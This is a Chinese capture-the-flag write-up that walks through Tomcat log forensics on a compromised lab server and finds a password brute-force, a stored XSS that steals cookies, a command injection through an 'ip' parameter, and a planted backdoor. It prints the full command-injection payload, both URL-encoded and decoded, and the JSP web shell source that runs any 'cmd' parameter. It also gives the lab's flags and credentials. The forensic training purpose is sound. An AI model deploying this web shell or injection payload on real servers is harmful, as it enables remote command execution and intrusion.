玄机靶场 | 日志分析-Tomcat日志分析

文章目录

一、前言

小王在自己的服务器上安装配置了Tomcat,并写了几个简单的网页。但由于安全意识不足,很快就被攻击者利用了。请你帮他排查一下存在的安全问题

RDP 端口3389 用户名/密码:Administrator/4210bf@

二、索引

三、题目列表

步骤#1

Tomcat日志所在的绝对路径是?

首先连接目标电脑,在C盘中可以看到server目录,根据名字猜测是提供服务的

点进去可以看到tomcat目录

打开目录文件,在里面找到logs目录,然后复制路径即可

复制代码
flag{C:\server\apache-tomcat-11.0.5\logs}

步骤#2

攻击者对某网站进行了口令爆破。请你判断口令成功匹配的请求的响应码是?

我们打开logs目录,可以看到里面有个日志占用空间较大

打开文件进行分析,前面是攻击者在进行目录扫描,然后后面有个关键的地方

这里攻击者访问了/demo/admin.jsp,但是由于没有凭证随后重定向到登录界面,也就是login.jsp,接着就开始对网站进行口令爆破

可以看到,在经历了大量了爆破之后也是成功登入了系统,状态码显示302,然后跳转到/demo/admin.jsp

因此判断口令成功匹配的响应码就是302

复制代码
flag{302}

步骤#3

请你判断其服务器上用于盗取cookie而监听的端口是?

题目描述:攻击者向admin.jsp的管理员留言板界面发送了恶意JS代码从而构成了存储型XSS。已知攻击者试图盗取管理员cookie,并将其发送至其本地服务器上。

题目提示攻击者向admin.jsp发送恶意代码,结合前面的日志,我们可知该文件位于/demo目录里面

里面有个messages.txt,打开后可以看到里面存储了管理员留言板接收到的信息

这个js语句就是攻击者用来窃取管理员cookie的,因此用来监听的端口就是5000

复制代码
flag{5000}

接下来我们分析一下admin.jsp中的漏洞代码,里面有个代码片段用于显示留言

java 复制代码
    <h2>所有留言</h2>
    <ul>
        <% if (messages != null && !messages.isEmpty()) {
            for (String message : messages) {
        %>
            <li><%= message %></li>
        <%
            }
        } %>
    </ul>

其中关键就是<li><%= message %></li>,它使用了 JSP 的表达式 <%= ... %> 直接将从文件中读取的 message 字符串未经任何处理就输出到 HTML 页面上

攻击者提交的留言内容会原封不动地保存到messages.txt 文件里,浏览器在解析 HTML 时,会把 <script> 标签当作可执行代码来运行,从而触发XSS漏洞

修复建议就是对输出的 message 变量进行HTML 实体编码

修复前:

java 复制代码
<li><%= message %></li>

修复后:

java 复制代码
<%@ page import="org.apache.commons.lang3.StringEscapeUtils" %>
// ...    
<li><%= StringEscapeUtils.escapeHtml4(message) %></li>

或者使用JSTL标签库

首先在JSP页面顶部引入JSTL核心标签库

java 复制代码
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>

然后使用 <c:out> 标签来输出内容,它默认就会进行HTML编码

java 复制代码
<c:forEach var="message" items="${messages}">
    <li><c:out value="${message}" /></li>
</c:forEach>

步骤#4

攻击者利用执行系统命令的参数是?

回到刚才的log日志,在最下面可以看到有个文件传递了系统命令内容

该文件原本可能是用于接收IP地址并执行网络命令的(如 pingtraceroute),攻击者没有输入一个正常的IP地址,而是通过命令连接符 && 执行系统命令,因此参数就是ip

复制代码
flag{ip}

步骤#5

攻击者通过某种手段遗留了后门文件,请你找到该文件并按需提交其文件中的flag

同样也是刚才的日志文件,看最下面那行的参数内容

复制代码
ip=8.8.8.8+%26%26+echo+%5E%3C%25%40+page+language%3D%22java%22+import%3D%22java.util.*%2Cjava.io.*%22+%25%5E%3E%5E%3C%25+String+cmd+%3D+request.getParameter%28%22cmd%22%29%3B+if+%28cmd+%21%3D+null%29+%7B+Process+p+%3D+Runtime.getRuntime%28%29.exec%28cmd%29%3B+BufferedReader+reader+%3D+new+BufferedReader%28new+InputStreamReader%28p.getInputStream%28%29%29%29%3B+String+line%3B+while+%28%28line+%3D+reader.readLine%28%29%29+%21%3D+null%29+%7B+out.println%28line+%2B+%22%5E%3Cbr%5E%3E%22%29%3B+%7D+%7D+%25%5E%3E+%3E+C%3A%5Cserver%5Capache-tomcat-11.0.5%5Cwebapps%5CROOT%5Chello.jsp HTTP/1.1" 200 1349

URL解码,查看原始内容

复制代码
ip=8.8.8.8 && echo ^<%@ page language="java" import="java.util.*,java.io.*" %^>^<% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = reader.readLine()) != null) { out.println(line + "^<br^>"); } } %^> > C:\server\apache-tomcat-11.0.5\webapps\ROOT\hello.jsp HTTP/1.1" 200 1349

可以看到攻击者把代码写进了C:\server\apache-tomcat-11.0.5\webapps\ROOT\hello.jsp

我们简单分析这个后门代码

java 复制代码
<%@ page language="java" import="java.util.*,java.io.*" %>
<%
    // 从URL请求中获取名为 "cmd" 的参数
    String cmd = request.getParameter("cmd");
    // 如果 "cmd" 参数存在
    if (cmd != null) {
        // 在服务器上执行该参数的值作为一个系统命令
        Process p = Runtime.getRuntime().exec(cmd);
        // 读取该命令执行后的输出结果
        BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        // 将输出结果逐行打印到网页上
        while ((line = reader.readLine()) != null) {
            out.println(line + "<br>");
        }
    }
%>

文件上传后,攻击者只需要访问/hello.jsp?cmd=即可执行系统命令

我们找到这个文件,查看里面的内容

可以看到里面有个注释写了flag

复制代码
/* 疑似flag? eW91bWFkZWl0 */

但是如果直接提交的话是不行的,需要进行base64解码后再提交

复制代码
flag{youmadeit}